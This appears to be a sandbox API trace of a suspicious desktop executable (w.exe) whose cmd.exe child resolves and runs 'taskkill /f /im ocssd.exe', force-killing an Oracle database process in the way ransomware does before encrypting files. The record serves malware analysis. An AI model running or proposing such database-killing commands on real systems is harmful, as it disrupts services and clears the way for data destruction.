	[0035.745] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4008) returned 0x40ea30
	[0035.746] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0035.746] GetProcessHeap () returned 0x3f0000
	[0035.746] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x418) returned 0x402d58
	[0035.746] SetErrorMode (uMode=0x0) returned 0x8003
	[0035.746] SetErrorMode (uMode=0x1) returned 0x0
	[0035.747] GetFullPathNameW (in: lpFileName="taskkill \\f \\.", nBufferLength=0x208, lpBuffer=0x402d60, lpFilePart=0x36f70c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f", lpFilePart=0x36f70c*="f") returned 0x31
	[0035.747] SetErrorMode (uMode=0x8003) returned 0x1
	[0035.747] GetProcessHeap () returned 0x3f0000
	[0035.747] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x0, Ptr=0x402d58, Size=0x88) returned 0x402d58
	[0035.747] GetProcessHeap () returned 0x3f0000
	[0035.747] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x402d58) returned 0x88
	[0035.747] NeedCurrentDirectoryForExePathW (ExeName="taskkill \\f \\.") returned 1
	[0035.747] GetProcessHeap () returned 0x3f0000
	[0035.747] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x72) returned 0x412a58
	[0035.747] GetProcessHeap () returned 0x3f0000
	[0035.747] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd8) returned 0x402de8
	[0035.747] GetProcessHeap () returned 0x3f0000
	[0035.747] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x0, Ptr=0x402de8, Size=0x72) returned 0x402de8
	[0035.747] GetProcessHeap () returned 0x3f0000
	[0035.747] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x402de8) returned 0x72
	[0035.747] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a500640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0035.747] GetProcessHeap () returned 0x3f0000
	[0035.747] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xe0) returned 0x402e68
	[0035.751] GetProcessHeap () returned 0x3f0000
	[0035.751] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x0, Ptr=0x402e68, Size=0x76) returned 0x402e68
	[0035.751] GetProcessHeap () returned 0x3f0000
	[0035.751] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x402e68) returned 0x76
	[0035.751] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0035.751] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f\\im ocssd.exe ", fInfoLevelId=0x1, lpFindFileData=0x36f4a8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x36f4a8) returned 0xffffffff
	[0035.752] GetLastError () returned 0x3
	[0035.752] GetProcessHeap () returned 0x3f0000
	[0035.752] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40aa20 | out: hHeap=0x3f0000) returned 1
	[0035.752] GetProcessHeap () returned 0x3f0000
	[0035.752] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40ea30 | out: hHeap=0x3f0000) returned 1
	[0035.752] GetProcessHeap () returned 0x3f0000
	[0035.752] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x406a08 | out: hHeap=0x3f0000) returned 1
	[0035.752] GetConsoleOutputCP () returned 0x1b5
	[0035.752] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a4f4260 | out: lpCPInfo=0x4a4f4260) returned 1
	[0035.752] GetUserDefaultLCID () returned 0x409
	[0035.753] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a4f4950, cchData=8 | out: lpLCData=":") returned 2
	[0035.753] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x36f8d4, cchData=128 | out: lpLCData="0") returned 2
	[0035.753] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x36f8d4, cchData=128 | out: lpLCData="0") returned 2
	[0035.753] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x36f8d4, cchData=128 | out: lpLCData="1") returned 2
	[0035.753] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a4f4940, cchData=8 | out: lpLCData="/") returned 2
	[0035.753] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a4f4d80, cchData=32 | out: lpLCData="Mon") returned 4
	[0035.753] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a4f4d40, cchData=32 | out: lpLCData="Tue") returned 4
	[0035.753] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a4f4d00, cchData=32 | out: lpLCData="Wed") returned 4
	[0035.753] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a4f4cc0, cchData=32 | out: lpLCData="Thu") returned 4
	[0035.753] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a4f4c80, cchData=32 | out: lpLCData="Fri") returned 4
	[0035.753] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a4f4c40, cchData=32 | out: lpLCData="Sat") returned 4
	[0035.754] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a4f4c00, cchData=32 | out: lpLCData="Sun") returned 4
	[0035.754] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a4f4930, cchData=8 | out: lpLCData=".") returned 2
	[0035.754] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a4f4920, cchData=8 | out: lpLCData=",") returned 2
	[0035.754] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0035.755] GetProcessHeap () returned 0x3f0000
	[0035.755] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x0, Size=0x20c) returned 0x402f20
	[0035.755] GetConsoleTitleW (in: lpConsoleTitle=0x402f20, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0035.755] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0035.755] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileExW") returned 0x76c53b92
	[0035.755] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d
	[0035.755] GetProcAddress (hModule=0x76c20000, lpProcName="SetConsoleInputExeNameW") returned 0x76c4a79d
	[0035.756] GetProcessHeap () returned 0x3f0000
	[0035.756] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x400a) returned 0x406a08
	[0035.756] GetProcessHeap () returned 0x3f0000
	[0035.756] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x406a08 | out: hHeap=0x3f0000) returned 1
	[0035.756] _wcsicmp (_String1="taskkill", _String2=")") returned 75
	[0035.756] _wcsicmp (_String1="FOR", _String2="taskkill") returned -14
	[0035.756] _wcsicmp (_String1="FOR/?", _String2="taskkill") returned -14
	[0035.756] _wcsicmp (_String1="IF", _String2="taskkill") returned -11
	[0035.756] _wcsicmp (_String1="IF/?", _String2="taskkill") returned -11
	[0035.756] _wcsicmp (_String1="REM", _String2="taskkill") returned -2
	[0035.756] _wcsicmp (_String1="REM/?", _String2="taskkill") returned -2
	[0035.756] GetProcessHeap () returned 0x3f0000
	[0035.756] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x58) returned 0x403138
	[0035.756] GetProcessHeap () returned 0x3f0000
	[0035.756] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x1a) returned 0x405708
	[0035.757] GetProcessHeap () returned 0x3f0000
	[0035.757] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x2e) returned 0x403198
	[0035.758] GetConsoleTitleW (in: lpConsoleTitle=0x36f5cc, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0035.758] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0035.758] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0035.758] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0035.758] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0035.758] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0035.758] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0035.758] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0035.758] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0035.758] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0035.758] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0035.758] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0035.758] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0035.758] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0035.758] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0035.758] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0035.758] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0035.758] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0035.759] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0035.759] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0035.759] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0035.759] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0035.759] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0035.759] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0035.759] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0035.759] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0035.759] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0035.759] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0035.759] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0035.759] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0035.759] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0035.759] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0035.759] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0035.759] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0035.759] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0035.759] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0035.759] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0035.759] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0035.759] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0035.759] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0035.759] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0035.759] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0035.759] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0035.759] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0035.759] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0035.759] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0035.759] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0035.759] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0035.759] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0035.759] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0035.759] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0035.759] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0035.759] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0035.759] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0035.760] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0035.760] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0035.760] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0035.760] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0035.760] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0035.760] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0035.760] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0035.760] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0035.760] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0035.760] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0035.760] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0035.760] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0035.760] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0035.760] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0035.760] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0035.760] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0035.760] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0035.760] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0035.760] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0035.760] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0035.760] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0035.760] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0035.760] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0035.760] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0035.760] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0035.760] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0035.760] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0035.760] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0035.760] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0035.760] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0035.760] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0035.760] _wcsicmp (_String1="taskkill", _String2="FOR") returned 14
	[0035.760] _wcsicmp (_String1="taskkill", _String2="IF") returned 11
	[0035.760] _wcsicmp (_String1="taskkill", _String2="REM") returned 2
	[0035.761] GetProcessHeap () returned 0x3f0000
	[0035.761] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x210) returned 0x4031d0
	[0035.761] GetProcessHeap () returned 0x3f0000
	[0035.761] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x4033e8
	[0035.761] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0035.761] GetProcessHeap () returned 0x3f0000
	[0035.761] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x418) returned 0x3f07f0
	[0035.761] SetErrorMode (uMode=0x0) returned 0x8003
	[0035.761] SetErrorMode (uMode=0x1) returned 0x0
	[0035.761] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x3f07f8, lpFilePart=0x36f0ec | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x36f0ec*="Desktop") returned 0x25
	[0035.761] SetErrorMode (uMode=0x8003) returned 0x1
	[0035.761] GetProcessHeap () returned 0x3f0000
	[0035.761] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x0, Ptr=0x3f07f0, Size=0x66) returned 0x3f07f0
	[0035.761] GetProcessHeap () returned 0x3f0000
	[0035.761] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x3f07f0) returned 0x66
	[0035.762] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a500640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0035.762] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0035.762] GetProcessHeap () returned 0x3f0000
	[0035.762] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x120) returned 0x403430
	[0035.762] GetProcessHeap () returned 0x3f0000
	[0035.762] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x238) returned 0x3f0860
	[0035.764] GetProcessHeap () returned 0x3f0000
	[0035.764] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x0, Ptr=0x3f0860, Size=0x122) returned 0x3f0860
	[0035.764] GetProcessHeap () returned 0x3f0000
	[0035.764] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x3f0860) returned 0x122
	[0035.764] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a500640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0035.764] GetProcessHeap () returned 0x3f0000
	[0035.764] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xe0) returned 0x3f0990
	[0035.764] GetProcessHeap () returned 0x3f0000
	[0035.764] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x0, Ptr=0x3f0990, Size=0x76) returned 0x3f0990
	[0035.764] GetProcessHeap () returned 0x3f0000
	[0035.764] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x3f0990) returned 0x76
	[0035.764] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0035.764] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x36ee68, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x36ee68) returned 0xffffffff
	[0035.764] GetLastError () returned 0x2
	[0035.764] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill", fInfoLevelId=0x1, lpFindFileData=0x36ee68, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x36ee68) returned 0xffffffff
	[0035.764] GetLastError () returned 0x2
	[0035.764] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0035.764] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x36ee68, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x36ee68) returned 0x403558
	[0035.765] GetProcessHeap () returned 0x3f0000
	[0035.765] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x0, Size=0x14) returned 0x3f0a10
	[0035.765] FindClose (in: hFindFile=0x403558 | out: hFindFile=0x403558) returned 1
	[0035.765] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.COM", fInfoLevelId=0x1, lpFindFileData=0x36ee68, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x36ee68) returned 0xffffffff
	[0035.765] GetLastError () returned 0x2
	[0035.765] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.EXE", fInfoLevelId=0x1, lpFindFileData=0x36ee68, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x36ee68) returned 0x403558
	[0035.765] GetProcessHeap () returned 0x3f0000
	[0035.765] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x0, Ptr=0x3f0a10, Size=0x4) returned 0x3f0a10
	[0035.765] FindClose (in: hFindFile=0x403558 | out: hFindFile=0x403558) returned 1
	[0035.765] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0035.765] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0035.765] GetConsoleTitleW (in: lpConsoleTitle=0x36f360, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0035.765] InitializeProcThreadAttributeList (in: lpAttributeList=0x36f1e8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x36f2b0 | out: lpAttributeList=0x36f1e8, lpSize=0x36f2b0) returned 1
	[0035.765] UpdateProcThreadAttribute (in: lpAttributeList=0x36f1e8, dwFlags=0x0, Attribute=0x60001, lpValue=0x36f2a8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x36f1e8, lpPreviousValue=0x0) returned 1
	[0035.765] GetStartupInfoW (in: lpStartupInfo=0x36f1a4 | out: lpStartupInfo=0x36f1a4*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0xbc, hStdError=0xc0)) 
	[0035.765] GetProcessHeap () returned 0x3f0000
	[0035.765] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x403558
	[0035.766] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0035.766] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0035.766] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0035.766] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0035.766] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0035.766] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0035.766] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0035.766] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0035.766] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3
	[0035.766] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0035.766] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0035.766] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0035.766] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0035.766] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0035.766] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0035.766] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0035.766] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0035.766] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0035.766] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0035.766] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0035.766] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0035.766] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0035.766] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0035.766] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0035.767] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0035.767] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0035.767] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0035.767] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0035.767] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0035.767] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0035.767] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0035.767] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0035.767] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0035.767] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0035.767] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0035.767] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0035.767] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0035.767] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0035.767] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0035.767] GetProcessHeap () returned 0x3f0000
	[0035.767] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x403558 | out: hHeap=0x3f0000) returned 1
	[0035.767] GetProcessHeap () returned 0x3f0000
	[0035.767] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa) returned 0x3ffed8
	[0035.767] lstrcmpW (lpString1="\\taskkill.exe", lpString2="\\XCOPY.EXE") returned -1
	[0035.769] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\taskkill.exe", lpCommandLine="taskkill  /f /im ocssd.exe ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x36f244*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="taskkill  /f /im ocssd.exe ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x36f290 | out: lpCommandLine="taskkill  /f /im ocssd.exe ", lpProcessInformation=0x36f290*(hProcess=0x78, hThread=0x74, dwProcessId=0x6ec, dwThreadId=0x664)) returned 1
	[0035.774] CloseHandle (hObject=0x74) returned 1
	[0035.774] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0035.774] GetProcessHeap () returned 0x3f0000
	[0035.774] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405ec8 | out: hHeap=0x3f0000) returned 1
	[0035.774] GetEnvironmentStringsW () returned 0x414a40*
	[0035.774] GetProcessHeap () returned 0x3f0000
	[0035.774] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb36) returned 0x404088
	[0035.774] FreeEnvironmentStringsW (penv=0x414a40) returned 1
	[0035.774] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0036.448] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x36f184 | out: lpExitCode=0x36f184*=0x80) returned 1
	[0036.448] CloseHandle (hObject=0x78) returned 1
	[0036.448] _vsnwprintf (in: _Buffer=0x36f2cc, _BufferCount=0x13, _Format="%08X", _ArgList=0x36f190 | out: _Buffer="00000080") returned 8
	[0036.448] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1
	[0036.448] GetProcessHeap () returned 0x3f0000
	[0036.448] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x404088 | out: hHeap=0x3f0000) returned 1
	[0036.448] GetEnvironmentStringsW () returned 0x404088*
	[0036.448] GetProcessHeap () returned 0x3f0000
	[0036.448] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb5c) returned 0x405ec8
	[0036.448] FreeEnvironmentStringsW (penv=0x404088) returned 1
	[0036.448] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0036.448] GetProcessHeap () returned 0x3f0000
	[0036.448] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x405ec8 | out: hHeap=0x3f0000) returned 1
	[0036.449] GetEnvironmentStringsW () returned 0x404088*
	[0036.449] GetProcessHeap () returned 0x3f0000
	[0036.449] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb5c) returned 0x405ec8
